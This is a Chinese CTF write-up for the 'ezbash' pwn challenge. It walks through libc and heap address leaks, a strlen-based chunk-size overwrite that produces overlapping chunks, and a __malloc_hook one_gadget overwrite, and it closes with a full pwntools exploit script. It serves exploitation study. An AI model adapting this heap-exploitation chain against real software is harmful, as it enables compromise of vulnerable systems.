这里 echo 是的我们的 context 大小是固定的,但是这里我们可以 malloc 指定的大小,大小根据我们拷问的文件内容的长度计算。另外一点,cp 不会向目标额外写入空字符。
# 泄露 libc 地址
这是一个很无语的过程,因为 echo 的话,一定会清空数据。所以就是利用 cp,把 unsortedbins 的 chunk 申请出来,因为 copycontext 不会清空 chunk。所以我们申请一个 0x8,因为不会写入空字符,就可以把 unsortedbins 申请出来的堆块的前八字节覆盖,到那时保留了 bk 指针,同时也跟前八字节组成新的字符串。这样就泄露了 libc 的地址。为了方便,我们把要拷贝的文件的 context 的 chunksize 写大一点,后面会比较方便。入下面的 cccc 文件,context 的 chunksize=0x551
mkdir(b"AAAA") | |
touch(b'cccc') | |
touch(b'dddd') | |
cd(b"AAAA") | |
touch(b"BBBB") | |
echo(b'a'*0x3f2,b"BBBB") | |
cd(b"../") | |
echo(b'c'*0x3f0,b"cccc") | |
echo(b'd'*8,b'dddd') | |
cp(b'dddd',b'AAAA') | |
cd(b"AAAA") | |
cat(b'dddd') | |
r.recvuntil(b'd'*8) | |
libcbase = u64(r.recv(6).ljust(8,b'\x00'))-0x3ebca0 +0x1ff0c0 | |
print("libcbase : ",hex(libcbase)) | |
malloc_hook = libcbase + 0x1ecb70-0x23 |
# 泄露堆地址
有了上面的思路,泄露堆地址也很容易,glibc2.31 存在 tchche, 拷贝一字节,就可以申请一个 0x20 的 chunk,所以提前布局 2 个 0x20 的 chunk. 申请到的 tache chunk 的 fd 就不为空,我们只需要低位的几个字节就可以,我布局的两个 chunk 很近,我只要覆盖最低字节。然后就泄露了堆地址。值得一提的是,2.31 的 tcache 的 bk 指针指向 tcache,但是申请出来的时候,会自动清空 bk。
#leak the chunk addr | |
cd(b'../') | |
mkdir(b'ii') | |
cp(b'dddd',b'ii') | |
rmv(0,b'ii') | |
cd(b"AAAA") | |
rmv(1,b'dddd') | |
gdb.attach(r) | |
cd(b'../') | |
echo(b'\x70',b'dddd') | |
cp(b'dddd',b'AAAA') | |
gdb.attach(r) | |
cd(b"AAAA") | |
cat(b'dddd') | |
r.recv() | |
heap_addr = u64(r.recv(6).ljust(8,b'\x00')) - 0x001470 |
# 最后的攻击
现在 libc 的地址有了,如何实现任意地址写,因为保护全开,优先考虑了 malloc_hook + onegadget 的攻击
问题来了,如何实现任意地址写?unlink 的攻击无法布局 fakechunk (因为地址只有 6 字节,我们只能写入一个地址)。
基本的攻击手法必要前提在哪里,溢出,UAF,
任意地址写,要么我们拿到任意地址的 fakechunk,要么修改文件的 context 的指针,然后 echo 或者 cp。
我们伪造一个 fakechunk 的可能性不大,所以我们要修改 context 指针。这样的话,没有 uaf,那就考虑 overlap。
关键点来了
if ( src->context || !des->context ) | |
{ | |
if ( src->context && des->context ) // 文件复制到文件 | |
{ | |
v4 = strlen(src->context); | |
v5 = strlen(des->context); | |
if ( v4 > v5 ) | |
{ | |
dest = realloc(des->context, v4 + 1); | |
memset(dest->context, 0, v4 + 1); | |
} | |
else | |
{ | |
memset(des->context, 0, v5); | |
} | |
result = strncpy(dest->context, src->context, v4); | |
} | |
else // 没有 context | |
{ | |
result = src->context; | |
if ( result ) | |
{ | |
result = des->context; | |
if ( !result ) | |
result = copycontext(src, des); | |
} | |
} | |
} |
echo 是检查 chunksize, 这里用 strlen,我们 echo 以及 cp 都不会在末尾强行补一个空字符,如果我们申请的 0x28,那么我们就可以填满 chunk 的用户空间,而且数据会与下一个堆块的 chunksize 来年再一个,只要 v4=v5, 就可以修改 chunksize,把后面的 chunk 包含进去。
我们把文件部署在 actim 后面,0x51 就是我们的文件,
malloc(0x130,b'2') | |
malloc(0x120,b'3') | |
malloc(0x130,b'5') | |
malloc(0x1,b'6') | |
touch(b'mmmm') | |
dbg() | |
#gdb.attach(r,'brva 0x01884') | |
#change the chunksize wo achieve overlap | |
malloc(0x68,b'1',b'\x51\x04') | |
#gdb.attach(r) | |
free(b'2') | |
dbg() | |
mkdir(b'dir') | |
malloc(0x70,b'dir') | |
mkdir(b'dir2') | |
mkdir(b'dir3') | |
malloc(0,b'dir3') | |
print("malloc_hook : ",hex(malloc_hook)) | |
print(p64(malloc_hook)) | |
pad = p64(malloc_hook) | |
print(pad[0:6]) | |
print(pad[5:7]) | |
malloc(0x8,b'dir2',pad[0:6]) | |
dbg() | |
pad = p64(onegadget) | |
echo(b'a'*(0x23)+pad[0:6],b'5') |
修改后
你只能写入一个地址,context 在 chunk 的第四个 8 字节位置,我们要向改掉,申请堆块就要拿到 chunk+0x10 的 chunk
这里就是我们的 5 那个文件。我们目标是申请到她 + 0x10 的 chunk
同时我们已经将 malloc_hook-0x23 的地址写到了对应的 context 指针位置,我们下 main 只需要对他进行编辑
这里为甚不直接使用 malloc_hook.cp 里面 strlen 返回的是 0,会进行 realloc,但是不是个合法的 fakechunk,realloc 会报错,echo 也要 chunk 的头部信息,所以布置在 malloc_hook-0x23,这个天然的 fakechunk, 最后 echo 进去,或者 cp 也行
# exp
赛后我们并没有对 exp 进行重新的整理,比较凌乱
from pwn import * | |
r=process('./ezbash') | |
#r=remote('140.82.17.215',20642) | |
#context.log_level = 'debug' | |
elf = ELF('./ezbash') | |
hacker = "/$ " | |
def ch(cmd): | |
r.sendlineafter(hacker,cmd) | |
def ls(ptr): | |
cmd = b"ls "+ptr | |
ch(cmd) | |
def cat(file): | |
ch(cmd = b"cat "+file) | |
def cd(addr): | |
ch(b"cd "+addr) | |
def help(): | |
ch("help") | |
def echo(text,filename): | |
cmd = b"echo " + text +b" -> "+filename | |
ch(cmd) | |
def touch(filename): | |
ch(b"touch "+filename) | |
def rmv(flag,filename): | |
if flag==0: | |
cmd = b"rm -r "+filename | |
else : | |
cmd = b"rm "+filename | |
ch(cmd) | |
def mkdir(filename): | |
ch(b"mkdir "+filename) | |
def pwd(): | |
ch("pwd") | |
def cp(a,b): | |
cmd = b"cp "+a+b" "+b | |
ch(cmd) | |
def malloc(size,ptr,tail=b'\x00'*0): | |
pad = b'a'*size + tail | |
echo(pad,b'cccc') | |
cp(b'cccc',ptr) | |
def malloc1(size,ptr,tail=b'\x00'*0): | |
pad = b'a'*size + tail | |
echo(pad,b'a') | |
cp(b'a',ptr) | |
def free(ptr): | |
cp(b'free',ptr) | |
def dbg(): | |
gdb.attach(r) | |
mkdir(b"AAAA") | |
touch(b'cccc') | |
touch(b'dddd') | |
cd(b"AAAA") | |
touch(b"BBBB") | |
echo(b'a'*0x3f2,b"BBBB") | |
cd(b"../") | |
echo(b'c'*0x3f0,b"cccc") | |
echo(b'd'*8,b'dddd') | |
cp(b'dddd',b'AAAA') | |
cd(b"AAAA") | |
cat(b'dddd') | |
r.recvuntil(b'd'*8) | |
libcbase = u64(r.recv(6).ljust(8,b'\x00'))-0x3ebca0 +0x1ff0c0 | |
print("libcbase : ",hex(libcbase)) | |
malloc_hook = libcbase + 0x1ecb70-0x23 | |
#leak the chunk addr | |
cd(b'../') | |
mkdir(b'ii') | |
cp(b'dddd',b'ii') | |
rmv(0,b'ii') | |
cd(b"AAAA") | |
rmv(1,b'dddd') | |
cd(b'../') | |
echo(b'\x70',b'dddd') | |
cp(b'dddd',b'AAAA') | |
cd(b"AAAA") | |
cat(b'dddd') | |
r.recv() | |
heap_addr = u64(r.recv(6).ljust(8,b'\x00')) - 0x001470 | |
fake = heap_addr+0x2800 | |
print("heap_addr : ",hex(heap_addr)) | |
#onegadget = 0xcafebabedeadbeef | |
onegadget = 0xe3b31+libcbase | |
cd(b'../') | |
touch(b"free") | |
touch(b'actim') | |
touch(b'null') | |
malloc(0x2a0,b'nop') | |
malloc(0x50,b'1111') | |
malloc(0x110,b'2222') | |
#clean the chunk | |
malloc(0x40,b'3') | |
malloc(0x40,b'4') | |
#gdb.attach(r) | |
malloc(0x68,b'1') | |
rmv(1,b'3') | |
malloc(0x130,b'2') | |
malloc(0x120,b'3') | |
malloc(0x130,b'5') | |
malloc(0x1,b'6') | |
touch(b'mmmm') | |
dbg() | |
#gdb.attach(r,'brva 0x01884') | |
#change the chunksize wo achieve overlap | |
malloc(0x68,b'1',b'\x51\x04') | |
#gdb.attach(r) | |
free(b'2') | |
dbg() | |
mkdir(b'dir') | |
malloc(0x70,b'dir') | |
mkdir(b'dir2') | |
mkdir(b'dir3') | |
malloc(0,b'dir3') | |
print("malloc_hook : ",hex(malloc_hook)) | |
print(p64(malloc_hook)) | |
pad = p64(malloc_hook) | |
print(pad[0:6]) | |
print(pad[5:7]) | |
malloc(0x8,b'dir2',pad[0:6]) | |
dbg() | |
pad = p64(onegadget) | |
echo(b'a'*(0x23)+pad[0:6],b'5') | |
touch(b'7') | |
r.interactive() |
题目文件在链接里